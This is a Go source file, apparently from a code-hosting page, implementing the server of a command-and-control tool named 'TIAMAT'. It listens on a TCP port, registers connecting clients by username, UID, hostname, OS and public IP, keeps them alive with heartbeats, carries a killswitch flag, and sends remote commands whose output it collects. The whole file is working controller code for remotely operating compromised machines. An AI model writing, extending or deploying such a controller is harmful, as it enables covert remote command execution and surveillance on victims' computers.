176 lines
3.4 KiB
Go
176 lines
3.4 KiB
Go
package cmd
|
|
|
|
import (
|
|
"encoding/gob"
|
|
"fmt"
|
|
"log"
|
|
"net"
|
|
"time"
|
|
|
|
"github.com/spf13/viper"
|
|
)
|
|
|
|
type Client struct {
|
|
ClientBasicInfo
|
|
Conn net.Conn
|
|
IsOnline bool
|
|
ClientID int
|
|
}
|
|
|
|
type ClientBasicInfo struct {
|
|
Username string
|
|
UID string
|
|
GID string
|
|
OperatingSystem string
|
|
Hostname string
|
|
PublicIP string
|
|
}
|
|
|
|
type Instructions struct {
|
|
IsHeartbeat bool
|
|
IsCommand bool
|
|
IsKillswitch bool
|
|
Message string
|
|
}
|
|
|
|
type Response struct {
|
|
Successful bool
|
|
Message string
|
|
}
|
|
|
|
var (
|
|
C2Port string = "1302"
|
|
clientList []Client
|
|
clientIDs int = 0
|
|
)
|
|
|
|
func (c Client) Instruct(i Instructions) error {
|
|
enc := gob.NewEncoder(c.Conn)
|
|
err := enc.Encode(i)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func Server() {
|
|
p := viper.GetString("Server.Port")
|
|
if p != "" {
|
|
C2Port = p
|
|
}
|
|
go WebServer()
|
|
log.SetPrefix("[TIAMAT] ")
|
|
|
|
ln, err := net.Listen("tcp", ":"+C2Port)
|
|
if err != nil {
|
|
log.Fatalf("Error happened listening on C2 port: %v\n", err)
|
|
}
|
|
log.Printf("Listening on port %v...", C2Port)
|
|
defer ln.Close()
|
|
|
|
for {
|
|
conn, err := ln.Accept()
|
|
if err != nil {
|
|
log.Printf("Error happened accepting connection: %v\n", err)
|
|
}
|
|
handleConn(conn)
|
|
}
|
|
}
|
|
|
|
func handleConn(conn net.Conn) {
|
|
ID, err := getClient(conn)
|
|
if err != nil {
|
|
log.Printf("Error happened receiving OS information: %v\n", err)
|
|
}
|
|
|
|
go Heartbeat(ID)
|
|
}
|
|
|
|
func sendCommand(ID int, command string) (Output string, err error) {
|
|
inst := Instructions{
|
|
IsCommand: true,
|
|
Message: command,
|
|
}
|
|
clientList[ID].Instruct(inst)
|
|
resp, err := ServerMessageReceiver(clientList[ID].Conn)
|
|
if err != nil || resp.Successful != true {
|
|
e := fmt.Errorf("%v\n", resp.Message)
|
|
return "", e
|
|
}
|
|
return resp.Message, nil
|
|
}
|
|
|
|
func Heartbeat(ID int) {
|
|
for {
|
|
inst := Instructions{
|
|
IsHeartbeat: true,
|
|
Message: "PING",
|
|
}
|
|
clientList[ID].Instruct(inst)
|
|
resp, err := ServerMessageReceiver(clientList[ID].Conn)
|
|
if err == nil && resp.Message == "PONG" {
|
|
if clientList[ID].IsOnline != true {
|
|
clientList[ID].IsOnline = true
|
|
}
|
|
} else {
|
|
log.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname)
|
|
clientList[ID].IsOnline = false
|
|
return
|
|
}
|
|
|
|
time.Sleep(time.Second * 10)
|
|
}
|
|
}
|
|
|
|
func returnClient(ID int) (Client, error) {
|
|
for _, v := range clientList {
|
|
if v.ClientID == ID {
|
|
return v, nil
|
|
}
|
|
}
|
|
err := fmt.Errorf("Client not found\n")
|
|
return Client{}, err
|
|
}
|
|
|
|
func ServerMessageReceiver(conn net.Conn) (Response, error) {
|
|
dec := gob.NewDecoder(conn)
|
|
c := Response{}
|
|
err := dec.Decode(&c)
|
|
if err != nil {
|
|
return Response{}, err
|
|
}
|
|
return c, nil
|
|
}
|
|
|
|
func getClient(conn net.Conn) (int, error) {
|
|
dec := gob.NewDecoder(conn)
|
|
basicC := ClientBasicInfo{}
|
|
err := dec.Decode(&basicC)
|
|
if err != nil {
|
|
return -1, err
|
|
}
|
|
|
|
for i, v := range clientList {
|
|
sameClient := basicC.Username == v.ClientBasicInfo.Username &&
|
|
basicC.PublicIP == v.ClientBasicInfo.PublicIP &&
|
|
basicC.Hostname == v.ClientBasicInfo.Hostname
|
|
|
|
if sameClient == true {
|
|
clientList[i].IsOnline = true
|
|
clientList[i].Conn = conn
|
|
log.Printf("Client %v is back online!\n", clientList[i].ClientBasicInfo.Hostname)
|
|
return i, nil
|
|
}
|
|
}
|
|
newC := Client{}
|
|
newC.ClientBasicInfo = basicC
|
|
newC.Conn = conn
|
|
newC.IsOnline = true
|
|
newC.ClientID = clientIDs
|
|
clientIDs++
|
|
log.Printf("Client %v is online!\n", newC.ClientBasicInfo.Hostname)
|
|
|
|
clientList = append(clientList, newC)
|
|
return len(clientList) - 1, nil
|
|
}
|